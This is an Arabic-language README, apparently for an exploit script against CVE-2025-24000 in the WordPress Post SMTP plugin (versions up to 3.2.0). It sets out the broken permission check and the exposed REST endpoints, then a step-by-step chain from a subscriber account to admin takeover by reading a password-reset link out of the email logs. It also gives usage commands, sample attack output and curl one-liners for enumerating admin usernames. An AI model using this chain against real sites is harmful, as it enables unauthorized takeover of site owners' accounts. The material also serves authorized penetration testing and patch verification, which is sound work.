CVE-2025-24000 — ثغرة تصعيد الصلاحيات في Post SMTP

نظرة عامة

يستغل هذا السكريبت CVE-2025-24000، وهي ثغرة عالية الخطورة من نوع التحكم المكسور في الوصول في إضافة Post SMTP لووردبريس (الإصدارات ≤ 3.2.0). تسمح لأي مستخدم مصادق بحساب منخفض الصلاحيات (مثل مشترك) بالوصول إلى سجلات البريد الإلكتروني لواجهة برمجة التطبيقات REST الخاصة بالإضافة، وسرقة رابط إعادة تعيين كلمة مرور المسؤول، والسيطرة على حساب المسؤول.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• الإصدارات المتأثرة: ≤ 3.2.0
• تم الإصلاح في: 3.3.0
• درجة CVSS: 8.8 (عالية)
• التأثير: تصعيد الصلاحيات → استيلاء كامل على حساب المسؤول

آلية العمل

تنبع الثغرة من فحص صلاحيات معطل في REST API الخاصة بالإضافة:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

أي مستخدم مسجل الدخول، بغض النظر عن دوره، يمكنه الوصول إلى نقاط النهاية المخصصة للمسؤولين فقط:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

سلسلة الاستغلال

1. سجل أو استخدم حساب ووردبريس منخفض الصلاحيات موجود (مشترك)
2. سجل الدخول واحصل على nonce لووردبريس REST من /wp-admin/
3. قم بتشغيل إعادة تعيين كلمة مرور لحساب المسؤول
4. اقرأ سجلات البريد الإلكتروني عبر REST API غير المحمية
5. استخرج رابط إعادة تعيين كلمة المرور من السجل
6. استخدم رابط إعادة التعيين لتعيين كلمة مرور جديدة للمسؤول
7. سجل الدخول إلى /wp-admin كمسؤول

المتطلبات

• Python 3.x
• requests library (pip install requests)
• حساب مسجل على موقع ووردبريس الهدف (مستوى مشترك كافٍ)

الاستخدام

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

الوسائط

مثال

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

المخرجات المتوقعة

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

نصائح

• إذا كان اسم مستخدم المسؤول غير معروف، قم بتعداده عبر WP REST API:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  أو عبر تعداده من المؤلف:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• رابط إعادة التعيين يُستخدم مرة واحدة وينتهي صلاحيته — استخدمه فور استخراجه
• إذا كانت السجلات فارغة، تأكد من أن الموقع مهيأ لإرسال البريد عبر Post SMTP (وليس بريد PHP)

المراجع

• إفادة Patchstack: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• إفادة GitHub: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• دليل إعادة الإنتاج: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

إخلاء مسؤولية

هذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط. لا تستخدمها ضد أنظمة ليس لديك إذن صريح لاختبارها.